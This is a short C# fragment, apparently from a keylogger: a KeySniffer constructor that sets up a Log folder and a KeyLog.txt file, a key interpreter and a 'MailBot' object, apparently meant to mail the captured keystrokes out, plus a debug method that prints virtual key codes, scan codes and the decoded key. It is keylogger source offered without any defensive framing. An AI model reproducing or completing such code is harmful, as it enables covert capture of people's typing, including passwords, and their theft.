public KeySniffer(MailBot mailBot, int bufferSize = 512) { string pathDirLog = Path.Combine( Environment.CurrentDirectory, "Log"); Directory.CreateDirectory(pathDirLog); string pathLogFile = Path.Combine(pathDirLog, "KeyLog.txt"); this.keyLogger = new Logger(pathLogFile, bufferSize); this.keyLogInfo = new FileInfo(pathLogFile); this.interpreterKeys = new InterpreterKeys(); this.mailBot = mailBot; }
public void DebugPrint() { InterpreterKeys interpreterKeys = new InterpreterKeys(); char keyAscii = interpreterKeys.InterpretAsciiEx(this); string header = string.Format( "{0, 10} {1, 10} {2, 15} {3, 10} {4,5}", "wParam:", "lParam:", "VirtualKeyCode:", "ScanCode:", "Key:"); string value = string.Format( "{0, 10} {1, 10} {2, 15} {3, 10} {4,5}", wParam, lParam, VirtualKeyCode, ScanCode, keyAscii.ToString()); Debug.Print("{0}\n{1}", header, value); }